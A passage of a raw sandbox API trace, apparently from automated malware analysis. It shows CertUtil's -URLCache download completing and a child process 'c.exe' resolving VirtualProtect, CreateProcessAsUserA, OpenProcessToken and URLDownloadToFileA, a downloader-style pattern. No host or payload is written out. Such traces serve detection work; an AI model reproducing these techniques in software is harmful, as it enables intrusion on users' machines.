(hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x22e460, dwFlags=0x0, dwContext=0x0) returned 1 [0109.719] GetProcAddress (hModule=0x7fefdc20000, lpProcName="InternetReadFile") returned 0x7fefdc33914 [0109.719] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0109.720] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x397870 [0109.721] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0111.065] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x3a7880 [0111.066] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0111.079] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x3b7890 [0111.079] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0111.400] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x2fd0080 [0111.401] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0111.726] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x2fe0090 [0111.726] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0111.729] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x2ff00a0 [0111.729] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0112.053] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x30000b0 [0112.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0112.054] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x30100c0 [0112.054] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0112.139] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x30200d0 [0112.140] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0112.407] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x30300e0 [0112.408] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0112.417] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x30400f0 [0112.418] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0112.703] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x3050100 [0112.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0112.714] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x3060110 [0112.714] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0112.746] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x3070120 [0112.747] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0113.045] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x3080130 [0113.046] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0113.046] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x3090140 [0113.047] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0113.074] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x30a0150 [0113.075] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0113.075] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x30b0160 [0113.076] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0113.381] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x3240080 [0113.382] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x1000) returned 1 [0113.401] LocalAlloc (uFlags=0x0, uBytes=0x10000) returned 0x3250090 [0113.402] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x200) returned 1 [0113.402] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x32600a0 [0113.402] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x22e480, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x22e464 | out: lpBuffer=0x22e480*, lpdwNumberOfBytesRead=0x22e464*=0x0) returned 1 [0113.405] LocalAlloc (uFlags=0x0, uBytes=0x14200) returned 0x32620b0 [0113.408] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x2, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.408] GetLastError () returned 0x8009310b [0113.408] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x3, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.408] GetLastError () returned 0x8009310b [0113.408] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x4, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.409] GetLastError () returned 0x8009310b [0113.409] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x3b, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.409] GetLastError () returned 0x8009310b [0113.409] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x3c, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.409] GetLastError () returned 0x8009310b [0113.409] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x15, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.410] GetLastError () returned 0x8009310b [0113.410] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x17, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.410] GetLastError () returned 0x8009310b [0113.410] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x25, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.410] GetLastError () returned 0x8009310b [0113.410] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x41, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.411] GetLastError () returned 0x8009310b [0113.411] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x43, pbEncoded=0x32620b0, cbEncoded=0x14200, dwFlags=0x8000, pDecodePara=0x22e0e0, pvStructInfo=0x22e168, pcbStructInfo=0x22e178 | out: pvStructInfo=0x22e168, pcbStructInfo=0x22e178) returned 0 [0113.411] GetLastError () returned 0x8009310b [0113.412] PFXIsPFXBlob (pPFX=0x22e188) returned 0 [0113.414] CertOpenStore (lpszStoreProvider=0x5, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x0, pvPara=0x22dfb0) returned 0x0 [0113.414] GetLastError () returned 0x8009310b [0113.415] CryptQueryObject (in: dwObjectType=0x2, pvObject=0x22e0f0, dwExpectedContentTypeFlags=0xb0, dwExpectedFormatTypeFlags=0x2, dwFlags=0x0, pdwMsgAndCertEncodingType=0x0, pdwContentType=0x0, pdwFormatType=0x0, phCertStore=0x22e110, phMsg=0x0, ppvContext=0x0 | out: pdwMsgAndCertEncodingType=0x0, pdwContentType=0x0, pdwFormatType=0x0, phCertStore=0x22e110, phMsg=0x0, ppvContext=0x0) returned 0 [0113.415] GetLastError () returned 0x80092009 [0113.416] _vsnprintf (in: _DstBuf=0x22dfe8, _MaxCount=0x8, _Format="%06x", _ArgList=0x22df98 | out: _DstBuf="000000") returned 6 [0113.416] _vsnprintf (in: _DstBuf=0x22e060, _MaxCount=0x32, _Format="%hs...", _ArgList=0x22df98 | out: _DstBuf=" ...") returned 5 [0113.416] _vsnprintf (in: _DstBuf=0x22e010, _MaxCount=0x4f, _Format="%hs%hs%*hs%hs", _ArgList=0x22df98 | out: _DstBuf="000000 ...") returned 11 [0113.416] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.416] _vsnwprintf (in: _Buffer=0x22d730, _BufferCount=0x200, _Format="%*hs%hs\n", _ArgList=0x22df88 | out: _Buffer=" 000000 ...\n") returned 14 [0113.416] GetFileType (hFile=0x7) returned 0x2 [0113.416] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x22d730*, nNumberOfCharsToWrite=0xe, lpNumberOfCharsWritten=0x22d6f4, lpReserved=0x0 | out: lpBuffer=0x22d730*, lpNumberOfCharsWritten=0x22d6f4*=0xe) returned 1 [0113.417] _vsnprintf (in: _DstBuf=0x22dfe8, _MaxCount=0x8, _Format="%06x", _ArgList=0x22df98 | out: _DstBuf="014200") returned 6 [0113.417] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.417] _vsnwprintf (in: _Buffer=0x22d730, _BufferCount=0x200, _Format="%*hs%hs\n", _ArgList=0x22df88 | out: _Buffer=" 014200\n") returned 9 [0113.417] GetFileType (hFile=0x7) returned 0x2 [0113.417] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x22d730*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0x22d6f4, lpReserved=0x0 | out: lpBuffer=0x22d730*, lpNumberOfCharsWritten=0x22d6f4*=0x9) returned 1 [0113.423] LocalFree (hMem=0x32600a0) returned 0x0 [0113.423] LocalFree (hMem=0x3250090) returned 0x0 [0113.423] LocalFree (hMem=0x3240080) returned 0x0 [0113.423] LocalFree (hMem=0x30b0160) returned 0x0 [0113.423] LocalFree (hMem=0x30a0150) returned 0x0 [0113.425] LocalFree (hMem=0x3090140) returned 0x0 [0113.425] LocalFree (hMem=0x3080130) returned 0x0 [0113.425] LocalFree (hMem=0x3070120) returned 0x0 [0113.425] LocalFree (hMem=0x3060110) returned 0x0 [0113.425] LocalFree (hMem=0x3050100) returned 0x0 [0113.425] LocalFree (hMem=0x30400f0) returned 0x0 [0113.425] LocalFree (hMem=0x30300e0) returned 0x0 [0113.425] LocalFree (hMem=0x30200d0) returned 0x0 [0113.425] LocalFree (hMem=0x30100c0) returned 0x0 [0113.425] LocalFree (hMem=0x30000b0) returned 0x0 [0113.425] LocalFree (hMem=0x2ff00a0) returned 0x0 [0113.425] LocalFree (hMem=0x2fe0090) returned 0x0 [0113.425] LocalFree (hMem=0x2fd0080) returned 0x0 [0113.428] LocalFree (hMem=0x3b7890) returned 0x0 [0113.429] LocalFree (hMem=0x3a7880) returned 0x0 [0113.429] LocalFree (hMem=0x397870) returned 0x0 [0113.429] LocalFree (hMem=0x32620b0) returned 0x0 [0113.430] GetProcAddress (hModule=0x7fefdc20000, lpProcName="InternetCloseHandle") returned 0x7fefdc35594 [0113.430] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0113.430] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0113.430] FreeLibrary (hLibModule=0x7fef3280000) returned 1 [0113.430] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0xffebb804 [0113.430] _vsnwprintf (in: _Buffer=0x22f568, _BufferCount=0xb, _Format="%d", _ArgList=0x22f558 | out: _Buffer="2022") returned 4 [0113.430] LoadStringW (in: hInstance=0xffe80000, uID=0x7e6, lpBuffer=0x22f320, cchBufferMax=128 | out: lpBuffer="%ws: -%ws command completed successfully.") returned 0x29 [0113.430] LocalAlloc (uFlags=0x0, uBytes=0x54) returned 0x381400 [0113.430] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.430] _vsnwprintf (in: _Buffer=0x22ed50, _BufferCount=0x200, _Format="%ws: -%ws command completed successfully.", _ArgList=0x22f5a8 | out: _Buffer="CertUtil: -URLCache command completed successfully.") returned 51 [0113.430] GetFileType (hFile=0x7) returned 0x2 [0113.431] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x22ed50*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x22ed14, lpReserved=0x0 | out: lpBuffer=0x22ed50*, lpNumberOfCharsWritten=0x22ed14*=0x33) returned 1 [0113.431] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0113.431] _vsnwprintf (in: _Buffer=0x22ed50, _BufferCount=0x200, _Format="\n", _ArgList=0x22f5a8 | out: _Buffer="\n") returned 1 [0113.431] GetFileType (hFile=0x7) returned 0x2 [0113.431] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x22ed50*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x22ed14, lpReserved=0x0 | out: lpBuffer=0x22ed50*, lpNumberOfCharsWritten=0x22ed14*=0x1) returned 1 [0113.432] LocalFree (hMem=0x30f480) returned 0x0 [0113.432] LocalFree (hMem=0x30f3f0) returned 0x0 [0113.432] _vsnwprintf (in: _Buffer=0x22f5c8, _BufferCount=0xb, _Format="%d", _ArgList=0x22f5b8 | out: _Buffer="511") returned 3 [0113.432] LoadStringW (in: hInstance=0xffe80000, uID=0x1ff, lpBuffer=0x22f380, cchBufferMax=128 | out: lpBuffer="Command Succeeded") returned 0x11 [0113.432] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x376ad0 [0113.432] PostQuitMessage (nExitCode=0) [0113.432] GetMessageW (in: lpMsg=0x22fa60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x22fa60) returned 0 [0113.432] LocalFree (hMem=0x30bfd0) returned 0x0 [0113.432] LocalFree (hMem=0x2fe160) returned 0x0 [0113.432] LocalFree (hMem=0x30bf30) returned 0x0 [0113.432] LocalFree (hMem=0x2fe130) returned 0x0 [0113.432] LocalFree (hMem=0x30c510) returned 0x0 [0113.432] LocalFree (hMem=0x381400) returned 0x0 [0113.432] LocalFree (hMem=0x376ad0) returned 0x0 [0113.432] LocalFree (hMem=0x30e7c0) returned 0x0 [0113.432] LocalFree (hMem=0x2fdf20) returned 0x0 [0113.432] GetModuleHandleW (lpModuleName="certadm.dll") returned 0x0 [0113.433] GetLastError () returned 0x7e [0113.433] GetModuleHandleW (lpModuleName="certenroll.dll") returned 0x0 [0113.433] GetLastError () returned 0x7e [0113.433] exit (_Code=0) Thread: id = 640 os_tid = 0x12cc Thread: id = 641 os_tid = 0x12d0 Thread: id = 643 os_tid = 0x12d8 Thread: id = 645 os_tid = 0x12e0 Thread: id = 671 os_tid = 0x1348 Thread: id = 672 os_tid = 0x134c Thread: id = 675 os_tid = 0x1358 Thread: id = 679 os_tid = 0x1368 Process: id = "17" image_name = "c.exe" filename = "c:\\c.exe" page_root = "0x195bf000" os_pid = "0xa08" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x126c" cmd_line = "C:\\c.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 727 os_tid = 0x9e8 [0113.704] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0113.704] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0113.704] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0113.704] VirtualProtect (in: lpAddress=0x40015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0113.704] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76e10000 [0113.704] GetProcAddress (hModule=0x76e10000, lpProcName="Process32Next") returned 0x76e488a4 [0113.704] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0113.704] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0113.704] GetProcAddress (hModule=0x76e10000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e4735f [0113.704] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessA") returned 0x76e21072 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="Process32First") returned 0x76e48ae7 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0113.705] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0113.706] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeSListHead") returned 0x773594a4 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="RaiseException") returned 0x76e258a6 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibrary") returned 0x76e234c8 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameA") returned 0x76e214b1 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0113.707] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineA") returned 0x76e251a1 [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="HeapValidate") returned 0x76e3b17b [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemInfo") returned 0x76e249ca [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringA") returned 0x76e4b2b7 [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObjectEx") returned 0x76e21151 [0113.708] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileAttributesExW") returned 0x76e24574 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="CreateDirectoryW") returned 0x76e24259 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringW") returned 0x76e23bca [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="FindClose") returned 0x76e24442 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="FindFirstFileExA") returned 0x76ea427f [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="FindNextFileA") returned 0x76e4d53e [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="SetEnvironmentVariableA") returned 0x76e2e331 [0113.709] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0113.710] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0113.710] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0113.710] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0113.710] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0113.710] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0113.710] GetProcAddress (hModule=0x76e10000, lpProcName="HeapQueryInformation") returned 0x76ea43ff [0113.710] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0113.710] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x754b0000 [0113.710] GetProcAddress (hModule=0x754b0000, lpProcName="CreateProcessAsUserA") returned 0x754f2538 [0113.710] GetProcAddress (hModule=0x754b0000, lpProcName="GetUserNameA") returned 0x754da4b4 [0113.710] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0113.710] GetModuleHandleA (lpModuleName="urlmon.dll") returned 0x75050000 [0113.710] GetProcAddress (hModule=0x75050000, lpProcName="URLDownloadToFileA") returned 0x750e68d0 [0113.710] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x75190000 [0113.711] GetProcAddress (hModule=0x75190000, lpProcName="DeleteUrlCacheEntry") returned 0x751d59e8 [0113.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff60 